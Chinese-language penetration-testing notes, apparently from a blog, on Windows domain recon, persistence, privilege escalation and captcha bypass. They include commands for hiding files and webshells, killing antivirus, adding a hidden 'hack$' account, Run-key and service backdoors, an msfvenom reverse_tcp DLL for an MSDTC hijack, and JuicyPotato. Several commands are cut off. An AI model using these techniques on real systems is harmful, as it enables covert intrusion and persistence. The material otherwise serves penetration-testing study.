域内信息搜集
一、判断自己的身份
判断自己的身份最简单的方式就是whoami
如果是本地非域用户的话,就是计算机名称/账号
如果是域内用户账号的话,就是域名称/账号
1 | nslookup -qt=ns lab.com //定位DC |
权限维持是一项必要且需要得技巧,当在外网中打点后,需要保证点的持久性,使团队能够专注于目标,而不会失去指挥和控制服务器的通信。
使用attrib+s+a+h+r
命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
1 | Attrib+s +a +h +r |
测试如下:
在当前目录输入命令
1 | Attrib+s +a +h +r test |
test文件夹成功消失,命令行和界面里都没有了。
接下来仍然可以使用
1 | Attrib-s -a -h -r test |
恢复该文件的正常属性。
就又回来了
测试如下:
在test文件夹里新建一个test.txt,将test文件夹重命名为“我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}”。
接下来就会生成这样的,点进去后发现跳转到我的电脑界面,并且该文件因为是系统文件夹涉及到注册表等还无法删除,或者重命名后面的字段(图形化界面中)。
但是此方法在cmd里面使用dir可以查看到,也能通过cd进入真正的文件夹。
下面是代号:
1 | 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
只需要在目录名后面加两个点或者多个点。用户图形界面无法访问。
1 | 创建目录:md test...\ //在目录中显示为test...,也有可能会显示为test..,随系统版本而定。 |
在win11中,该目录点击后没有反应
在注册表中,也不能使用cd命令进入
那么我们该怎么访问里面的文件呢,答案是通过浏览器来访问。在本地开一个http服务,然后通过浏览器,可以直接访问到里面的文件。
windows系统中,不能使用某些系统保留名来创建文件\文件夹,包括aux,com1,com2,prn,con和nul等,但是这些是可以通过cmd来创建的,并且使用copy命令就可以实现。
测试如下:
1 | F:\kcon>copy test.txt aux.asp |
利用系统保留文件名创建无法删除的webshell,这类文件无法再图形界面删除,但是可以在命令行下删除,然而在IIS中,这种文件也可以解析。
驱动级文件隐藏可以通过一些软件来实现,比如 Easy File Locker
该方法促成的效果就是可以让文件不会显示,不能通过列目录列出来,也不能删除,除非知道完整的路径,你才可以读取文件内容。
拿到目标的shell后,我们做的第一件事情就是关闭目标主机的杀毒软件,通过命令
1 | run killav //meterperter中使用 |
组策略后门比较起其他的后门更加隐蔽。往注册表中添加相应的键值实现随系统启动而运行的木马就是一个木马运行的常用例子。其实组策略也可以实现该功能,而且它还可以在系统关机的时候进行某种操作。这就是通过组策略的”脚本(启动/关机)“项目来实现的。具体的位置在”计算机配置->windows设置“项下。
测试如下:
在虚拟机里面新建一个txt,输入以下内容
1 | echo off |
重命名为add.bat,接着在win+r对话框中输入⼊gpedit.msc
,定位到”计算机配置->windows设置->脚本(启动/关机)“,双击右边窗口的关机,在其中添加add.bat。就是说当系统关机时创建hack$用户。
对于组策略后门还有各种各样的利用方法,攻击者通过它来运行脚本或者程序,嗅探管理员密码等等。当他们获取了管理员的密码后,就可以直接利用管理员账户远程登陆系统。
在windows登录期间创建将执行任意负载的注册表项是老生常谈的话题,也是经典手段之一。这种持久性技术需要创建注册表,而各种渗透工具都提供了这种能力。
1 | 注册表项可以从终端添加到运行键以实现持久性。这些键将包含用户登录时将执行的实际负载的引用 |
命令行中我们可以输入以下命令来添加注册表
1 | reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v |
以上是添加当前用户的Run键。
如果已经获得system权限的shell,则最好使用本地计算机注册表位置。这样就无论谁登录,都可以进行执行。
1 | reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v |
ps:Run中的程序是在每次系统启动时被启动,RunServices则是会在每次登录系统时被启动。
kali:192.168.137.133
win7(受害机):192.168.137.140
中转机:192.168.137.1
将shell.exe 和 pentestlab.exe下载进受害机器。并且连接shell。
因为好输入的关系,就直接在受害机器的cmd上输入了命令
重启受害机(以当前用户),发现会自动回连kali监听终端。
另外还有两个注册表位置,这些位置允许攻击者通过执行任意有效负载或者DLL来实现持久性,这些将在登陆期间执行,并且需要管理员级别的权限。
1 | reg add |
(ps:这个最特别的差别是它可以实现dll的加载,这些将在登录期间执行。并且需要管理员级别的权限。)
metasploit
框架通过使用Meterpreter
脚本和后期利用模块通过注册表支持持久性。Meterpreter脚本将以vbs脚本的形式创建一个有效负载,该脚本将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行有效负载。
kali:192.168.137.133
win7(受害机):192.168.137.140
中转机:192.168.137.1
仍然先连接shell。
1 | run persistence -U -P windows/meterpreter/reverse_tcp -i 5 -p 4444 -r |
接下来重启受害机等待自动重连。
其实在注册表里面也是能够看到该注册项目的
windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被恶意利用。通过计划任务执行持久性不需要管理员权限。但如果已经获得了管理员权限的话,则允许进一步操作,例如在用户登录期间或者在空闲状态期间来执行任务。
计划任务的持久化技术既可以手动实现,也可以自动实现。有效负载可以从磁盘或者远程位置执行,它们可以具有可执行文件、Powershell脚本或小脚本的形式。这虽然可以被认为是一种旧的持久性技术,但是仍然可以在持久化场景中使用。
Metasploit
的web_delivery
模块可用于托管和生成各种格式的有效负载。
如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则致谢服务可能导致权限提升,创建一个新的服务需要管理员级别的权限。
如果账户具有本地管理员特权,则可以从命令提示符创建服务。参数binpath
用于执行任意有效负载,而参数”auto”用于确保恶意服务自动启动
1 | sc create pentestlab binpath= "cmd.exe /k C:\Users\pte1\Downloads\pentestlab.exe" start="auto" |
kali:192.168.137.133
win7(受害机):192.168.137.140
中转机:192.168.137.1
注意cmd需要在管理员权限下使用
为了方便就直接在受害机器上创建服务引用之前的木马。然后只需要启动服务就可以自动连接上msf回话了
Metasploit框架的后开发模块,也支持两种持久性技术。
在新建的msf会话里面通过persistence_exe来增添新的服务。
1 | use post/windows/manage/persistence_exe |
在新建的msf会话里面输入以下命令
1 | use post/windows/manage/persistence_exe |
设置相应参数之后run
(ps:该方法需要在提权后的shell后才能使用,否则会创建失败)
内存⻢是⽆⽂件攻击的⼀种技术⼿段,那我们不得不先简单介绍⼀下⽆⽂件攻击。⽆⽂件攻击可以有效地躲避传统 安全软件的检测,它们可以在系统的内存中远程加载执⾏、驻留在注册表中或滥⽤常⽤的⽩名单⼯具,例如 PowerShell,Windows Management Instrumentation(WMI)和PsExec等。⽆⽂件攻击技术允许攻击者访问系 统,从⽽启⽤后续的恶意活动。通过操纵漏洞利⽤程序、合法⼯具、宏和脚本,攻击者可以破坏系统、提升特权或在⽹络上横向传播恶意代码。⽽且,⽆⽂件威胁在执⾏后不会留下任何痕迹,这使其难以被检测和清除。
内存⻢是⽆⽂件攻击的⼀种常⽤⼿段,随着攻防演练热度越来越⾼:攻防双⽅的博弈,流量分析、EDR等专业安全 设备被蓝⽅⼴泛使⽤,传统的⽂件上传的webshll或以⽂件形式驻留的后⻔越来越容易被检测到,内存⻢使⽤越来 越多。
Webshell内存⻢,是在内存中写⼊恶意后⻔和⽊⻢并执⾏,达到远程控制Web服务器的⼀类内存⻢,其瞄准了企 业的对外窗⼝:⽹站、应⽤。但传统的Webshell都是基于⽂件类型的,⿊客可以利⽤上传⼯具或⽹站漏洞植⼊⽊⻢,区别在于Webshell内存⻢是⽆⽂件⻢,利⽤中间件的进程执⾏某些恶意代码,不会有⽂件落地,给检测带来巨⼤难度。
内存⻢类型 根据内存⻢注⼊的⽅式,⼤致可以将内存⻢划分为如下两类
通过命令执⾏等⽅式动态注册⼀个新的listener、filter或者servlet,从⽽实现命令执⾏等功能。特定框架、容器的 内存⻢原理与此类似,如spring的controller内存⻢,tomcat的valve内存⻢
通过java的instrumentation动态修改已有代码,进⽽实现命令执⾏等功能。
Servlet 是运⾏在 Web 服务器或应⽤服务器上的程序,它是作为来⾃ HTTP 客户端的请求和 HTTP 服务器上的数据 库或应⽤程序之间的中间层。它负责处理⽤户的请求,并根据请求⽣成相应的返回信息提供给⽤户。
客户端发起⼀个http请求,⽐如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调⽤HttpServlet的init()⽅法,init⽅法只在第⼀次请求的时候被调⽤。
Servlet容器调⽤service()⽅法。
service()⽅法根据请求类型,这⾥是get类型,分别调⽤doGet或者doPost⽅法,这⾥调⽤doGet⽅法。
doXXX⽅法中是我们⾃⼰写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调⽤destory⽅法。
服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第⼀次请求该servlet时,就会初始化⼀个 Servlet对象,也就是会执⾏初始化⽅法init(ServletConfig conf)。
servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)⽅法中执⾏
服务器关闭时,销毁这个servlet对象,执⾏destroy()⽅法。
由JVM进⾏垃圾回收。
msdtc.exe是微软的分布式传输协调程序,该进程调用了系统的Microsoft personal Web Server
和 Microsoft SQL Server
。该服务用于管理多个服务器。
msdtc.exe是一个并列的事务,是分布于两个以上的服务器,消息队列、文件系统或者其他事务保护资源管理器。
它对应的服务是MSDTC,全称为Distributed Transaction Coordinator,是windows系统默认启动的服务。
对应的进程msdtc.exem,它位于windir/system32目录下
当windows操作系统启动Microsoft msdtc服务时,攻击便开始了,该服务可以协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。一旦msdtc服务启动,它将搜索注册表。
当计算机加入域中,msdtc服务启动时,会搜索注册表表HKEY_LOCAL_MACHINE-> SOFTWARE->Microsoft->MSDTC->MTxOCI
该服务的mtxoci搜索三个dll:oci.dll
,SQLLIB80.dll
,xa80.dll
。windows系统默认不包含oci.dll
(虽然注册表看起有,但是文件下搜不到)
所以我们可以将我们的后门dll重命名为oci.dll。并将其放置在%SystemRoot%\ system32 \中。ocidll就绪,使用远程作业命令杀死msdtc服务,之后在重启它。但是这一次,它将查找oci.dll.这时候就会利于这个服务把后门dll拉起来。
生成dll木马文件
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > |
将生成oci.dll上传到目标机器的 C:\Windows\System32目录下
1 | $upload oci.dll C:\\Windows |
oci.dll放入system32,重启msdtc服务
1 | taskkill /f /im msdtc.exe |
重启msdtc
1 | net start msdtc |
WMI是一项windows管理技术,全称是windows management instrumentation,即windows管理规范。大多数基于windows的软件依靠此服务。无文件无进程使得他非常隐蔽成为后门,但由于他的隐蔽性现在也被多数杀软所追杀。
通过与powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。
留下以后填坑
Windows提权中常用有以下几种:
在Windows中,权限大概分为4种,分别是User、Aministrator、System、Trustedinstaller。
在四种权限中,我们经常接触的是第三种。最后一种一般用不到。
User:普通用户权限,是系统中最安全的权限(分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)
Administrato:管理员权限。可以利用Windows的机制将自己提升为System权限,以便操作SAM文件等。
System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在Windwos中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。
1 | net user //查看本机用户 |
1 | net localgroup //查看本地的组 |
Potato家族提权需要的是通过各种方法在本地(NTLM-relay)中继获取SYSTEM令牌,再通过令牌执行命令。
提权条件:
1 | 1.获取高权限令牌 --Token |
以下用户拥有SeImpersonatePrivilege权限:
其主要原理是当某个用户具有SeImpersonatePrivilege
特权的时候。可以调用 CreateProcessWithTokenW
以某个Token的权限启动新进程。
当用户具有SeAssignPrimaryTokenPrivilege
特权的时候,可以调用 CreateProcessAsUserW
以指定用户权限启动新进程。
Windows的Token有以下两种:
Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用户非交互登录(利用net user访问共享文件夹)
Windows服务使用的登陆账号:
1 | NT AUTHORITY\System |
常见的LocalService用户,例如IIS和sqlserver的用户
这里示例Potato家族中的JuicyPotato,其原理在于:
通过DCOM来让服务向攻击者监听的端口发起连接并进行NTLM认证。
枚举可用COM对象的方法(获取对应的CLSID):
juicy-potato/GetCLSID.ps1 at master · ohpe/juicy-potato · GitHub
juicy-potato/test_clsid.bat at master · ohpe/juicy-potato · GitHub
用到得测试环境中,win7有如下服务,并且拥有CLSID。
查服务id可以去这个网站上查询:Windows CLSID | juicy-potato (ohpe.it)
攻击机:kali 192.168.137.133
受害机: win7 192.168.137.137
中转主机(用于下载中转一些文件) 192.168.32.1
首先用win7连接shell(跳过以上步骤)查看配置信息,查看权限等级。
翻到juicyPotato上传得目录,使用juicy_Potato进行提权开启一个新的会话,命令如下。
1 | JuicyPotato.exe -t * -p C:\Users\user\Desktop\Rev.bat -l 1337 -c |
前端验证验证码,并没有后端验证,直接抓包然后进行跑数据包,反正没有验证码的阻碍。
验证码设置了但是并没有验证,乱输入验证码也能够成功的登录。
验证码可以重复使用。
验证码空值绕过,比如我们抓一个包,发现有验证码参数,但是我们去掉验证码的参数就可以绕过验证码机制。验证码就失败了。
验证码干扰过低,使用脚本识别。
验证码在直接在html里面输出。
验证码可控,比如他的验证码包含在url面,是一个url传参,我们可以把url设置定,那么验证码可设置。
验证码有规则,比如用时间戳的后6位。
万能验证码,验证码无论是什么,只要输入特定数字就可以直接绕过。
验证码有时候会在cookie里面,分析一下是不是存在验证码的参数。
图片验证码,类型太少,容易识别。
多次登录后才出现验证码绕过:
基于session
基于ip
基于用户
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录(注意不是yilia根目录)执行以下命令:
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置:
jsonContent: meta: false pages: false posts: title: true date: true path: true text: false raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true